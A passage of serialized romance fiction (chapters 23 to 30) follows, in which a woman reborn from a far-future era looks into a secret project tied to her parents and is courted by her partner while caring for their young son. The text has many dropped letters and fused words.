    I will be a part of this family at some point in the future but not now.


    I guess I still need this transition period to smooth down a few storms of Bai Chang''s past.


    Something tells me it is not very simple but rather aplicated web. The thing is I need to find out the nature of this web and the spider behind it. The sooner it is the better it is for all the people involved in this web.

 Chapter 23: The Needle In The Haystack

    Chapter 23: The Needle In The Haystack


    [POV Hu Qiang]


    Last night it was eternally beautiful to watch both the mother and son sleeping so tight and carefree. I was tempted to sleep with them on the same bed but I dropped the idea as I realised that Bai Chang was still subconsciously alert to any sign of danger or noise and she would wake up. After stealing a light peck from her, I invited myself to the guest room.


    While at the breakfast table, an undeniable show of emotions from her became the fierce wind to my already raging emotions. I wanted to stick to her like a piece of gum.


    At that moment I even wanted to be my son so that I can hug and sleep with her at night.


    I even followed her to the study room but who would have thought that my own son is much faster than me; he even got to kiss his mother''s cheeks while totally avoiding his father''sments.


    I think the father and son need to sit down and talk to win over Bai Chang fast.


    While I was lost in my thoughts I looked at her habitually.


    She looked surprised for some reasons.


    [POV Bai Chang]


    As I am looking through various research files and projects, I came across a few mentions of a particr secret project which is spearheaded by various organisations around the world.


    There were a lot of people with major or minor stakes in the project but what caught my eyes is the fact that Bai Chang''s parents designed the project while she was a toddler.


    I search for this project. While I searched I realised that majority of the data is stored off the clouds on external encrypted storage or as analogue files.


    I carefully read through these few digital data that are avable, as I keep on reading I realise that this very project will be the foundation to Star Time System in future. This highly surprised me.


    There were a lot of thoughts going around in my mind.


    ''I need to reorganize my search filters and targets. If what I am thinking is correct maybe... just maybe my movements here could affect the future that Ie from, my actions could very well diagnose the significant drawbacks of this Star Time Project that tranted to a catastrophic disaster, bringing our civilization to the brink of extinction.''


    I am lost in my thoughts and brought back to earth by Qiang''s voice "Bai Chang"


    "Huh"


    "What''s the matter?"


    I am seriously considering should I tell him the truth or should I deal with it myself.


    It may seem far-fetched but there is a big chance that this is rted to the history of Star Time System, any action taken would affect the future that I came from while exploring it might give me a clear picture of Bai Chang''s involvement in all this and what is the exact contribution of Bai Chang''s parents in this project?


    I''m so lost in my thoughts that I didn''t realise it that Qiang is still standing in front of me waiting for a reply.


    His voice broke my reverie.


    "Is something of matter?"


    "There is but I want to confirm it by myself first."


    "You need something?" he asks naturally while not pursuing the actual matter.


    "My parents, I want to know more about them. Whatever you know and whatever your parents know, but keeps it from us."


    "Are you sure?"


    "I think it''s time to get to the bottom of this matter and solve it once and for all."


    "Fine, should I call them immediately?"


    "No need I still need to prepare something from my side before I unravel the Pandora''s Box."


    "Why call it Pandora''s box?"


    "Because it is one, trust me."


    "Should I take any additional actions?"


    "Not yet," I thought for some time and asked him "How are those fishes in ourpany? It''s almost time to harvest them."


    Looking at his smirk I know he understood my subtext.


    It is time to cut off these spies from thepany and warn the respective authorities backing them. After all, the Hu family waited for three years to take any actions. This time the retaliation is to announce that the hurt tiger is preparing to hunt soon so they should prepare their vaults to shell out the requisitepensations.


    Hu Qiang got back to his work while I took out my notepad to make a new To-Do-List.


    To-Do-List


    1. Set up an advanced medical unit ASAP.


    2. Track this Star Time Project


    3. Search for anything rted to Bai Chang''s parents.


    4. Keep an eye out for Feling


    5. Prepare bespoke pieces for Winter clothing line collection


    I keep on thinking while I scribbled on the notepad, after some time or long period of time (honestly I just lost my bearings for the time being) I made an organised flowchart of various details.

 Chapter 24: Flash-Forward

    Chapter 24: sh-Forward


    While I summarised the power y and basic frame body of the party in the action of this ''Star Time Project'' my hands move towards an obscure drawer in my study table. From there I pulled out a journal.


    I looked at it with emotions as in this journal I consolidated all my memories from my past life in details. After leaving the hospital I was scared that at some point in time I would lose all my memories from my previous life which led me topulsively write a journal, recording in it all my life''s achievements and the civilisation developments in great details.


    I am aware that life is dynamic in its nature.


    Now as I pulled my journal and flip through it, I don''t know what to feel?


    Am I a stranger or someone with a family?


    I looked around the study room, I watch Qiang finishing up his work, I see Xiao Wei reading on the armchair. I am acutely aware of their clingy nature.


    Thus I find myself constantly debating, should I ept this family or not?


    Let''s just roll with the fact that I owe a life debt to Bai Chang and I will repay it to her by solving the mystery surrounding her life. Then I would leave all to the God of Fate ''Shiming'' to decide on my fate.


    As I flipped through the journal I pondered about the history of Star Time System.


    *****


    ''STAR TIME SYSTEM''


    Established in the year 2090 A.D. the human civilization progressed toward star travel as travelling from one to another became very easy and less time and money consuming.


    Thus this era became famous as Star Time System.


    The foundation for this system wasid down by the project ''Star Time'', from this projectter the coveted warp engines and core drive transport models were derived and further developed pushing the human civilisation to another great shift.


    The different countries wereter developed as federation units with few key authorities holding on to a few critical positions of power. The project changing it all was ''Star Time Project'' and the credits for its development was shared by the five superpowers ''Alpha''; ''Beta''; ''Gamma''; ''Delta''; ''Eta''.


    Various minerals were discovered anew on different satellites ands. Like from our own moon more of natural methane and carbon dioxide as natural ores were obtained and from Mercury a special type of power ore was discovered that became a source of pyrrhic power, it became an upgrade to coal but much more environmentally friendly with greater mineral life cycle and more such produces was obtained, driving another revolution in the field of energy resources on earth.


    While societal developments saw major upgradations but there were few ''Elites'' throughout the newly generated system. These elites were 0.5% of the total poption with the power to influence changes on the rest of the poption.


    This entire golden periodsted for a thousand years. 3090 A.D.


    After which a major change urred under the surface of goodness and gilded development.


    *****


    "Mamma Mamma I have some doubts."


    "Huh"


    I broke through my reverie and looked toward Xiao Wei.


    This child


    "Come, climb onto my chair" I invited him to sit on myp.


    Hees over and takes his ce. On the other side, Qiang lightly coughed to remind me of his presence. I can feel he is jealous of this own son for some reason, though I am not aware of this reason.


    Xiao Wei points towards a few terms in the books and asks me. "Mamma, what does it mean by ''Borborygmi''; ''Bradykinesia'' and ''Choledocholithiasis''?"


    "Ohh.. these.."


    "Munchkin, ''Borborygmi''- means sounds of your stomach growling caused by the movement of gases from your small intestine. ''Bradykinesia''- means having slow movement or reflexes. While ''Choledocholithiasis''- means stones in the gall dder ormon bile duct." I exined.


    "Ohhh then why suchplicated terminologies for such simple stuff?"


    (On the other side Qiang lightlyughs at this, I guess someone else here is also not too invested in tough terminologies.)


    "Munchkin, it is for Doctors and health experts to differentiate between the various minute degrees of actions and their respective variations of our body and to correctly identify the degree of trauma suffered by our body."


    "Okay, so that means that just pain and minor pain have different terminologies under medical literature."


    "Yes, dear" I replied.


    I see there is a thirst for more information in Xiao Wei''s eyes, there is a drive to learn more so instead of letting it be I started lecturing him in basic medical terms and literature as well as physiology, for the whole afternoon and a better part of the evening too.


    I find him to be very receptive to the high-level knowledge. I feel fulfilled while teaching Xiao Wei. May be in near future, I would teach him the future of ''Medical Sciences'' It will be a good chip in his hand and it would be my inheritance or parting gift to him.


    I realise that Xiao Wei''s question diverted my original focus from the ''Star Time Project''.


    I will look into it tomorrow then.

 Chapter 25: Each With Their Own Worries

    Chapter 25: Each With Their Own Worries


    [POV Hu Qiang]


    Last night after Xiao Wei''s lessons with Bai Chang, we yed scrabble and ate ramen from bowls like any normal family.


    ''Family'', How precious this entity is?


    I only came to realise after I came too close to losing Bai Chang.


    This second time is my path to redemption. I do not want to waste this opportunity. But all good thingse to an end.


    This time it is not so dramatic but today I have to go to the office to earn ''bread and butter'' for my family. While I do not want to part from her.


    After an early breakfast, I took Xiao Wei and parted our ways from her to give her some space.


    ''That boy is still sulking in a corner and testing me as his greatest enemy.''


    "Xiao Wei, understand your father''s words, we can''t press your mother too hard with ourpany or it will backfire on us. You do not want your mother to perceive you as an annoying and clingy brat. Now do you?"


    His response to this is simply giving me an eye-roll.


    "Young man, we need to work on your etiquette sses again."


    "Can I skip it?" he is still pouting and sulking in a corner.


    "No"


    Though it is harsh for a child to bear, if not taught well and disciplined early he would grow up to be a wild child.


    "Where are you sending me now?"


    "You areing with me to the office."


    The cute boy''s eyes flew wide open in shock, "WHY?"


    Apparently too agitated


    "Because your grandma and grandpa are busy with some matters."


    "Why am I being punished by you?"


    "It is simple babysitting; you don''t have to be overdramatic about it."


    "Ohh"


    "Tell you what, you can bring with you something from your mother''s library to read and I will give you something after observing your entire week''s conduct."


    "What am I getting this time around? Please do not tell me it is another ss enrollment form."


    (Well the boy cannot be med. I did scam him into various sses passing them off as rewards for his good conduct)


    "No this time it is different. You would like it but this depends on your entire week''s conduct, only if it is satisfactory would you get your rewards.


    "You are not deceiving me. Are you?"


    "No, I am not."


    "You promise"


    "I do" (Ohhh... this child is learning fast.)


    We left Bai Chang''s Vi and went to mine.


    There I dressed Xiao Wei and we left for office. The entire way I am greeted by silence from this ''Little Buddha'' of mine.


    While I am lost on how to approach Bai Chang. After spending two days with her, I am sure of the fact that she has goodwill for us but does not really rte to us. She is just being polite but not being too obvious about it to us.


    It pains me to see this but it also has something to do with her having no shadow of memory about us being romantic.


    I also have to answer to her, how we conceived Xiao Wei.


    She didn''t ask me yet.


    It would be a lie if I said I am not nervous.


    I am freaked out thinking about her reaction. I really wish she won''t run for ''The Hills'' after knowing about that matter.


    ******


    [POV Bai Chang]


    After both, the father and son duo left, I called in Zhang Wei to my study on the ground floor.


    "Good morning, Bai Chang"


    "Morning Zhang Wei, it''s time to get down to business. How is our team? What''s their progress?"


    (After recruiting the entire security Co-Ops team, I named them ''Team Charlie''. I also bought a farmhouse in the outskirts of the city under a different name and changed the interiors into a hard-core training ground.


    I asked them to first shift there and undergo a specific training regime. Currently, it''s been a week they are following the designed regime strictly.


    I named them Alpha; Beta; Charlie; Gamma; Delta and Eta.


    While Zhang Wei is ''Charlie'', the mainmander of the team. While the rest were put through physical training.)


    "Okay let them prepare for a few more weeks, while I would teach you some of my tech stuff so that when you are in a mission or under any troubling situation you are never blind while you yourself are invisible to others around you.


    We have to prepare ourselves. In another two weeks, I would be leaving ''The Residency Area'' for work purpose and there would be many flies keeping watch on us.


    So there are some things we will show and some we won''t.


    After all ''Feling'' will head towards mainds soon. I won''t be surprised if he makes it to the ''Autumn fall'' fashion show. That would be our first meet as well as the start of our ''overt and covert'' war.


    I also have another work for you. Search for my parent''s remains, team up with Brother Li Jie and get me everything you can get your hands on, that belongs to them.


    I believe that the people who are targeting me are doing so because of my parents."


    I dismissed Zhang Wei while I contemte a lot of things in my mind.


    ''A lot happened in these past two days, Xiao Wei getting almost kidnapped to figuring out my role in the Hu family too. While I know that from Pacific ''Feling'' is keeping his hawk''s eyes trained on me. On the other side, this revtion that Bai Chang''s parents are somehow involved with the Star Time Project is another headache.''


    As I discover more I feel my present life is getting more tangled with my past life.


    ''The thing is how do I choose and what do I choose?''


    ''Family or Justice''


    The next few days flew by in a haze.


    Soon it is the weekend and I have to spend time with Hu Qiang and Xiao Wei.

 Chapter 26: Farmers Market

    Chapter 26: Farmer''s Market


    [POV Hu Qiang]


    "Papa... PapaPapa wake up, it''s Saturday. We are going to meet Mamma.


    Wake up fast.. Papa"


    I am woken up from my sleep by my insistent son.


    I should have known my consequences after I told him we are going to spend the weekend with Bai Chang; as for the rest of the week, we didn''t disturb or meet her.


    I looked towards the table Clock on the side table.


    "It is 6:00 a.m. in the morning, why are you calling me so early?"


    "What early? We are already toote. We are going to meet mother today we need to prepare for it. We need to go to the farmers market to buy fresh groceries, you know right that mama doesn''t like to eat the food she doesn''t trust if it''s cooked in front of her eyes only then she eats it.


    Plus Mamma has been on soups and light diet for the past three months now. Uncle Lee told me now she should slowly start eating solid food so let''s make a scrumptious meal for her so she eats more.


    I only saw her eating veggies and chicken stock and mostly soups without meat pieces also Mamma''s library is filled with various books on all kind of professions. Currently, Mamma is doing fashion designing so we can go visit the Guanzhou fabric market to collect good materials. She is already working on the next winter clothing line and also Jade Emporium to match her jewellery designs."


    "Wait- wait when did you make an itinerary?"


    ''I am surprised to know that he made such detailed ns already. I doubt my life. My own son ispeting with me for Bai Chang''s affection and he is better prepared to impress his mother than I am.''


    "Son,e here"


    He walks towards me and climbed up the bed but still sat on one corner of it.


    "Come here," I dragged him to me and make himself on myp.


    "Okay now tell papa why you have an itinerary?"


    "Because I want Mamma to enjoy her time with us and doesn''t feel it is wastage of her time."


    "And why do you feel that?"


    "Because I saw Mamma had a lot of work to do when we go to her ce but she stops doing them once we are there."


    "How are you so sure?"


    "Because Mamma only works on her fashion line if we are there while ''Jiffy'' does most of the technical and software-rted work, all data are kept on standby. While we are not by her side only then she opens them."


    "Are you spying on your mum?" I asked sternly.


    "No, I observed it. She doesn''t avoid doing so with me but she does avoid any of those works if you are around."


    "So you mean to say that your mum is not sharing her work with me."


    "She says that it is a hotcake, once it cools down, she would let you have a piece of it."


    "Are you quoting your mother or these are your personal observations?"


    "Some are my partial observations and some are quotes."


    "Okay buddy, now listen very carefully I need your help to impress your mother otherwise you can say bye-bye to her as she won''t be staying with us for much longer."


    I paused and looked towards my son who is seriously contemting the necessity and gravity of the situation; after some time finally, he speaks-


    "What do you want me to do?"


    "Nothing too obvious just mention me in front of your mother once in a while."


    "What do I get in return?"


    "If I can get your mother and make her fall in love with me then you get to keep your mother for forever."


    "What do you need my help with?"


    "Because there are some things that she is not aware of our rtionship so only you can be our connecting bridge."


    "Okay but I get to spend more time with Mamma"


    "Fine but give your papa some chance, to be with her."


    "Okay, now hurry up, get out of the bed and let''s go to the farmers market to get some fresh ingredients."


    "You can get it yourself why did you have to wake me up?"


    "Because if it was possible to do it by myself I would have already done it."


    ''That truly shut me up. It seems my son thinks I am incapable of even gaining attention from his mother.


    I realise that he has not forgiven me for all these years for what happened to Bai Chang. If she wouldn''t have woken up, I would have lost our son too.''


    I quickly left my bed and washed my face and then took a car to the farmers market.


    We reached the farmers market by 7 a.m.


    There are still fresh vegetables and meats being sold. I looked towards Xiao Wei, he doesn''t look too happy though.


    "What happened?"


    "Other exotic varieties are all sold out."


    "I am sorry we will buy what we can get and then make her some simple dishes. How does that sound?"


    "Okay but cook something good."


    "Aye-Aye master."


    I picked him up as he is too small and would get lost in the market. I spotted some fresh Salmon and went to the shop.


    "Ayi, how much for this Salmon."


    "It is 220 Yuan"


    "Okay pack it"


    "Are you shopping here with your son? Where is his mother?"


    "She is resting at home."


    "So it''s father and son shopping, for thedy."


    "Yes Ayi"


    Here.. Here take these prawns too, they are absolutely fresh. Are you cooking for your wife?"


    I blushed and nodded slightly.


    The shopdy seems thrilled and ps her hands and then starts cleaning the fish and prawns while all the time she told me where to find all the good stuff in the market.


    We shopped through the market but for some weird reason, everyone liked Xiao Wei and even gave us discounts and more fresh products.

 Chapter 27: Qiang Cooks

    Chapter 27: Qiang Cooks


    [POV Bai Chang]


    It''s the weekend.


    Throughout the week, Qiang didn''t call me neither did Wang Wei. Though Wang Wei took the ''Introductory Medical Science'' book with him still he did not ring me up throughout the week.


    Last night, suddenly, Qiang called to inform me that they would be spending their weekend with me.


    I am surprisingly happy about the prospective meet.


    Today early morning I asked Brother Li Jie to get some fresh groceries, as I thought to make a simple dinner meal for all of them.


    (Well the kitchen here in this century is too primitive for my taste, I did get a hang of it but I am sticking to simple meal course, nothing too fancy.)


    I am reading a magazine while the bell rang. Zhang Wei answered the doors.


    After a few minutes, a cute, round and chubby bear shed towards me.


    I caught this excited bear and looked into his eyes.


    Every time I am surprised to see the innocent eyes full of love and pure joy.


    "Good Morning, Munchkin. How was your week? You didn''t even ring your mother. At least do some face time baby, otherwise, Mamma would feel lonely."


    "Mamma I wanted to but papa prohibited me."


    "Why?"


    "Well, he thinks we are a nuisance to you."


    "OHH rubbish(I red at Qiang while he lowered his face in guilt) How can I resist my little Munchkin, you are not a nuisance but your father is one. Next time you feel likeing here and spend your time with me, just do so while we will leave your father to his office and appointments. We are best together while he is the third wheel between us."


    "I love you, Mamma."


    "I love you too, Munchkin."


    I turned towards Qiang, only to be greeted with his hands full of groceries.


    "What are you up to Mr Qiang?" (A little eye-roll goes a long way.)


    "Mrs Hu your husband is here to earn his keep by cooking your food to conquer your heart."


    "Mind you, Mr Qiang, my stomach is not cheap."


    "I assure you of its quality and quantity, Mrs Hu."


    "Ohh really


    I will hold you to your words, Mr Qiang, if it is not up to the mark you are most wee to spend the rest of the weekend in the adjoining Vi by yourself."


    "Huh"


    (I feel good to tease him; it is like meditation to me.)


    "Common Munchkin let us go do our stuff while we leave your father to his."


    "Yes, Mamma."


    Both Me and Wang Wei, we headed towards the gazebo to y around a little.


    (I feel like I am reliving my childhood and became a child myself, a luxury, that I never had in my previous life in Star Time System.)


    After a few hours of ying with Wang Wei, I walked towards the kitchen to get something cool to drink. On my way, I see Qiang holding a tray with two sses of freshly squeezed lime juice on it, walking towards us.


    I look at him while he looks at me.


    "Are you the butler here?"


    "I am serving the boss of my life to earn some brownie points from her."


    "Nice thought process but shortcuts won''t get you anywhere with me."


    "Yes boss, here have some juice to boost you."


    "Are you done cooking?"


    "The Lunch would be ready to serve in an hour."


    "What are you cooking, it is taking too long," Iined.


    "You would know when it is served."


    (My curiosity is piqued.)


    I took the sses and offered one to Wang Wei as we lounge on outdoor chairs and enjoy our drinks.


    Qiang left us to get back to the kitchen.


    I turned towards Wang Wei and asked: "Do your father know how to cook?"


    "Yes, he sometimes cooked for me."


    "Does he cook for everyone?"


    "Nah... he only cooked for me on my birthday."


    "Then why today?"


    He just shrugged his shoulders.


    (Is this his weapon to lure people? Hmm His arsenal seems diverse.)


    "Shouldn''t you support your father?"


    "Nah.. he can do without me I am in Mamma''s team."


    (Spoken like a true Mamma''s boy.)


    "Let''s go and check out if your father is cooking our lunch himself or supervising it like the boss he is known to be."


    We looked at each other with wicked mischief in our eyes.


    As we moved towards the kitchen, the savoury smell wafting in the air was making us drool. We walked towards the open kitchen.


    There on the Kitchen Isle, I see Qiang draped in a cute pink apron over his shirt, open cor, cuffs folded to his elbow, facing towards us. He is chopping vegetables.


    (Boy is it smooth. It is a restaurant chef''s calibre smooth.)


    From the heat of the stove, there is a lightyer of sweat over his skin providing sheen to his body.


    (Against all the foods and the vours in the air he looks yummy; I think I will have him for dinner.)


    I guess he felt my invasive stare on him as he looked up towards me while continuing to chop.


    "What are you looking at?" he asked with a smirk like he knows the answer to his question already.


    "I am looking at the food that I would eat."


    "Anything you like?"


    "My stomach ain''t cheap, so looks alone would not cut; it has to pass the taste test."


    "Yes boss, at your service. Just fifteen more minutes and the lunch would be served."


    Both I and Wang Wei grabbed a spot on the table. I also invited Brother Li Jie and Zhang Wei to the table too.


    While in the due time Qiang finished cooking and started tting the food.


    (All that flirting and the aroma in the air and savoury vours together got me very hungry. Trust me if not to preserve mydylike looks you would find me drooling.)

 Chapter 28: A Family That Eats Together Stays Together

    Chapter 28: A Family That Eats Together Stays Together


    The table is full of mouth-watering dishes, there is long grain basmati rice, Prawns curry, lemongrass Salmon and juicy Meatballs and vegetable sds.


    I see a lot of solid food on the table.


    (It would be a lie if I say I am not tempted to try these. You will understand my plight for being on a liquid diet for over three months. You will learn to appreciate food.)


    I pick my spoon and started to serve Xiao Wei then Brother Li Jie. As I started to move on-


    "Youngdy, how about you serve master Qiang, we will self-help ourselves," Li Jie prompted.


    "No, he should serve me. While I serve you all food by myself, allow me to show my gratitude and sincerity to you all. Zhang Wei do eat more don''t be shy, you are a part of my family now."


    While I turned to Qiang "Do you mind if you serve me?"


    "No, I have no problem at all. I am pleased to serve you, boss."


    I turned to the rest of them and told them "See he doesn''t mind."


    Then I faced Qiang and say "Serve me good food this lunch and I will give you a brownie pointter." and I give him a wink.


    I see him standing still with his eyes wide open and his Adam''s apple bobbing up and down as if it found something hard to swallow.


    I guess my wink knocked him out. (Score: Me-1; Qiang - 0)


    He didn''t waste time either he started to serve food on my te and without any further ado, I started to dig in.


    It''s really juicy. The rice, the Meatballs and the crunch of the vegetable sd.


    (Now I vaguely understand the term ''food-porn'' it really is satisfying.)


    I look around and then narrowed my eyes to face Qiang "This won''t cut, from today onwards you are making lunch on weekends until I ask you to stop."


    The people gathered around the table started to giggle among themselves.


    (I could care less about it right now. It is good food vs. World. Here Good food wins the battle.)


    ''Ohh.. it is really juicy and tasty.'' (The food, not the man just to be clear.)


    I don''t even bother to hide my satisfaction.


    Everyone enjoyed the meal to their heart''s content.


    ***


    After lunch as the taste still lingers on I start to calcte in my heart,


    ''I need to keep this free VIP meal ticket I have to control myself otherwise the chef would be lost. I have to y hard to get to enjoy good food.''


    While contemting my future meals, I and Xiao Wei moved towards the study room to clear Xiao Wei''s doubts regarding medical science. I apanied him all afternoon. After the intensive study time, he fell asleep on the armchair itself. I let him be.


    Finally, Qiang, who has been lurking around us like a ghost all this time stood in front of me.


    "Hey, do I get your time now?"


    "Yes, you may"


    "You promised you would be my girlfriend then why are you avoiding me?"


    "I am not avoiding you; you are simply on probation as my boyfriend."


    "Calling you Bai Chang feels distant. How about I call you ''Wifey''?"


    "Huh"


    (It gave me Goosebumps.)


    I looked at him disapprovingly.


    "Not okay, then how about ''dear'' or better ''honey'' or its Korean version ''Yeoboo".."


    (I cringed at his sugary words.)


    "Just call me Chang or Ms Bai."


    "Then why not Mrs Hu?"


    "Because I have still not promoted you to the ranks of my husband."


    He raised his eyebrows at my choice of words.


    "Then what do I have to do?"


    "There are quests and missions to fulfil to get promoted to the status of my husband or even my boyfriend. Remember you are still on ''probation''. So fighting."


    "And what are these missions?"


    "They would be assigned to you as and when I deem them appropriate. If you feel the conditions unbearable, you may quit."


    "Nope, I am sticking to you."


    "Even if I give you missions all your life?"


    "Even if I have to slog in servitude to you, I will do so happily all my life as it is you."


    "No one can guarantee his/her life."


    He seems to understand my undertone, so he rushed forward and pulled me in his big arms.


    I got mmed against his hard but warm chest and for a second I felt I am secure.


    Iy my head on his shoulders as I continued "You never know?"


    "I won''t let you go away this time. I already came close to losing you. My life became colourless.


    I do not want to lose you as it would cause my destruction."


    I am taken aback for such a strong man to willingly admit his soft spot so openly, portraying his vulnerability.


    So I asked, "Aren''t you afraid that I will destruct you myself?"


    "I will happilyy down my arms and offer myself to you so that you can destruct me to your heart''s content."


    I couldn''t stop myself from asking, "Qiang aren''t you investing too much of yourself?"


    "No, I am afraid I never really invested myself in you emotionally before. It is only after you woke up this time and I got to know you more that I found myself bing the moth flying towards the Sun and I am willing to burn."


    "Hmm then let''s burn our enemy first."


    "Wife you point and I will destroy whale you sit back and enjoy the show."


    I am still in his arms and unwilling to leave the warmth as is he reluctant to let me go.


    We stood in each other arms as suddenly Qiang dropped his head to my eye level and spoke in my ears- "Where is my brownie point for today''s lunch?"


    That hot air that blew in my ears as he is speaking turned my face red as all blood rushed there, I feel my face heating up and my breathing hitched.


    I look up; in his eyes I see the desire and barely controlled lust.


    ''This man, Should I entrust him with my heart?''


    I decide to take a small leap of faith.


    I stand on my toes as I give him a light peck on his lips. He is quick to respond as he caught my lips with his and then it quickly esctes to the heated kiss of passion.


    We were entangled in this deep kiss.


    (I think the boys, they have it embedded in their genes, how to kiss a girl?)


    I am a novice in this department, my virgin soul is jolted. He takes over the charge and guides my lips ordingly. I lost all my bearings. Finally, he left my lips.


    He again kissed me on my lips onest time before leaving me.


    I look at him usingly as I feel that tingling sensation on my lips.


    He smiled and patted my head.


    (As Xiao Wei kept on sleeping on the armchair, he has no idea that his father nearly turned into a ''big bad wolf''.)


    "From now on in private I will call you ''Bad Wolf''."


    "So private are we talking here?" he grinned cheek to cheek.


    "You"


    (Definitely ''Bad Wolf''.)


    "I will kick you to spend the rest of the night in our other Vi."


    He behaved himself, though barely.


    ***


    For dinner, I cooked. It seemed a safer option to me.


    It is simply pasta and sweet and sour soup. It may not be as delicious as Qiang''s cooking but as I looked around the dinner table, I found everyone hearty and satisfied.


    It reminded me of an old saying-


    ''A family that eats together stays together.''

 Chapter 29: Familys Day Out

    Chapter 29: Family''s Day Out


    [POV Hu Qiang]


    After dinner, I am still shown the doors to the guest room. It seems funny but Bai Chang avoided me all night. It was as if she is afraid that I would eat her up.


    I remembered this afternoon my rewards.


    Her soft lips left their evesting imprint on me. Revisiting that memory, it felt rejuvenating. I am surprised to realise that she is still naive about intimate matters; her armature attempt to kiss was totally adorable. I find myself smiling even thinking about it.


    All these times I would sneakily steal a quick peck from her in her sleep but today I got to kiss her. I feel my blood boiling and desire that overpowers my senses.


    It is time to take a long cold shower to curb the rising desire in my body.


    After a long shower, I spend the rest of my night in my dreams doing all naughty kinds of stuff to Bai Chang.


    ****


    Next morning, as I join everyone at the dining table.


    I notice Bai Chang stealing looks from the corner of her eyes and a slight blush colouring her cheeks. It looks so delicious, I feel like taking a bite of it.


    "Mamma, let''s finish our breakfast, then we would go shopping."


    "Shopping" she turned towards me with the query in her eyes.


    "Mamma, you are already preparing for the next clothing line for winter season fashion show. So father and me, we thought we will pay a visit to the fabric market to collect some fabrics first hand."


    "Oh.. My dear, you are so observant, I love you, my Munchkin."


    She is excited about the visit.


    I realised that after her discharge from the hospital, she rarely left her home to look around. I have to take some time off to take her around and travel around.


    The spies loitering around her made her conscious for her security.


    As I think through all these I am displeased to understand that she is not spending her life to her fullest extent.


    "Qiang.. Qiang hey finish your food it would get cold." Bai Chang called out to me.


    We finish our meal soon. As we would go to the market we all moved on to change our dresses to somethingfortable. I and Xiao Wei made a run to our Vi to get dressed.


    Both Xiao Wei and I sported jeans and Polo Shirt with cors and sunsses while I kept a few spare jackets on the back seat of the car.


    As I moved towards Bai Chang''s Vi to receive her. I see hering out herself.


    She is wearing a white ruffle neck silk shirt tucked in her waist-high faded blue denim jeans. She styled it with hot pink sneakers and aviator sunsses. On her arms, she held her jacket and a purse.


    She simply looked like enchanting spring. She smelled like a fresh bouquet of orchids. I stood dazed looking at her. She left her hairs down, as the small frills of hair moved along with the light wind, it simply makes a divine painting.


    She walks towards me and snaps her fingers in front of me to jolt me up from my stupor.


    "Hey, what are you admiring?"


    "You"


    "Why?"


    "Because I can."


    "Like what you see?"


    "Love it and want to hide you from others; I am already jealous of people who would take a peek at you on our outing."


    "Do you want to keep me with you as your caged bird?"


    "Never, you are my Queen and I am your ve at service."


    "You do not want to be a knight in shining armours."


    "I realised from our brief interactions, that you don''t need a knight in shining armour, so the next best thing is to be your personal ve."


    "Think wisely Mr Hu, it is a lifelongmitment." She said in a hushed voice.


    "I am ready tomit if you take me in your service, my Queen."


    I speak near her ears and her face is quick to turn red. Iughed heartily.


    "You- You Big Bad Wolf!!"


    She stomped her foot lightly on my foot and passed me to sit with Xiao Wei at the back seat in the car.


    She looks so cute


    I shake my head and then joined them in the car; Li Jie is responsible for driving for this trip.


    On our way to the market, we discuss various, designs and themes for the next fashion line, whereas Bai Chang proposed ideas for a ''High-Quality Limited Edition Bespoke Line''.


    This line would only produce one of its kind design and they would be absolute rare pieces. The products won''t be limited to only clothes. There would be other products too.


    Last night we discussed this project and I looked through some of her designs. On paper, they look like rare gems. So we decided to produce a sample and see how it fairs in an exhibition. Depending on its performance we will decide to produce the line while the exhibition would serve as its introductory publicity.


    We finally reach the fabric market.


    It is 10:30 a.m. and the market is slowly starting to look alive.


    We are early.


    Instead of diving headfirst to buying, we decided to first look around the market. As we were looking around Bai Chang would exin various fabrics and their characteristics to Xiao Wei. She would teach him to identify a fabric from its feel and then ascertain the quality through thread count.


    I am surprised at her knowledge of fabrics. I knew she liked designing even when she was autistic before but her trove of knowledge would be so deep I never realised.


    After walking around all morning we went to a nearby food stall to have some food and refreshment.


    After taking a break and enjoying local street cuisine, we dove into proper shopping.


    I witnessed the mythical power of women bargaining and smart shopping.


    It blew my mind.


    Even Xiao Wei tagged along in the bargaining process and they made a hefty discount for the number of raw materials they purchased.


    I made a mental calction and concluded.


    They were much more effective in procuring raw materials than my dedicated team whom I pay such lump sum sry.


    The entire day was highly productive and finally, after sunset, we headed back home.


    Everyone was tired from all that walking around and didn''t realise when we fell asleep in the car.

 Chapter 30: Mothers Pride

    Chapter 30: Mother''s Pride


    [POV Bai Chang]


    Last night we came home and straight away called it a night.


    Today morning Qiang left for office from here itself.


    I discussed with him and kept Xiao Wei here with me for the week.


    ***


    I and Xiao Wei were in the studio to check out our haul from yesterday''s shopping.


    "Mamma, are you gonna be a full-time designer then?"


    "Hmm.. Well, I will keep the designer as the main upation while the rest of the matters would be handled under the radar."


    "Mamma, What are we gonna do today?"


    "Today Mamma will design a full-length evening gown to wear in the fashion show."


    "Wow.. So it is going to be a customised piece!"


    "Yes, are you excited to see?"


    "Yes"


    The boy just looked around the studio with bright eyes.


    "Okay Munchkin, help Mamma to organise our shopping first."


    "Yes Mamma"


    It took us two hours to organise all the stuff that we bought yesterday ording to their categories.


    "Finally we are done." I lightly patted my shoulders.


    "Mamma, are we making the dress today?"


    "Yes Munchkin, I already have the designs made and I shopped for the materials required for the dress so first, we will make a sample."


    I fetched the design from an inner drawer in my working table. Next, both of us get to work on the sample dress.


    It is surprising to see that Xiao Wei is quick on his feet and sharp with his brain, he picks up skills faster than most of the children in his age group. Sometimes I forget that he is only four years old.


    I feel proud of Bai Chang. She has a fine son here. She should be very proud of him.


    For the rest of the day we work on the dress material and I teach Xiao Wei some simple stitches and let him y around with whatever materials he wants.


    We even had our lunch in the studio itself. Then I asked Xiao Wei "if he is bored?"


    He simply replied with a smile and showed me a beautiful flower stitch that he made. It took him all day to get it right but it is so cute and beautiful.


    He does learn fast.


    "Munchkin, would you like to help me with my design?"


    "Yes Mamma"


    I am so happy.


    "Munchkin,ter Mamma will teach you super coding and medical science. For the next of the week follow me around, you will learn more than what you do in school."


    "Yes Mamma"


    He hugged me tight and kissed me on my cheeks. His eyes are so bright with expectations and happiness.


    I feel overwhelmed with emotions.


    Nowadays I find myself unwilling to part from this little Munchkin.


    ***


    We had dinner and I put Xiao Wei to bed. He is a growing child. As much as he needs to learn new stuff to keep his brains sharp he also needs good sleep for his body to develop.


    After spending my time with him I know he is a good-natured child but loves books andputers more than outdoor games. So finding him interested in designing is a plus point. He will have some extracurricr activities outside of the virtual world.


    These movements will help his overall body''s growth spurt.


    I thought to propose a set of exercises that we can do together which would help him to gain more stability and increase his hand-eye coordination. It will also help him to build his muscles.


    ''Hmm.. I think the five animal exercise set would be perfect.''


    As I am lost in my thoughts, I hear a knock outside the study room.


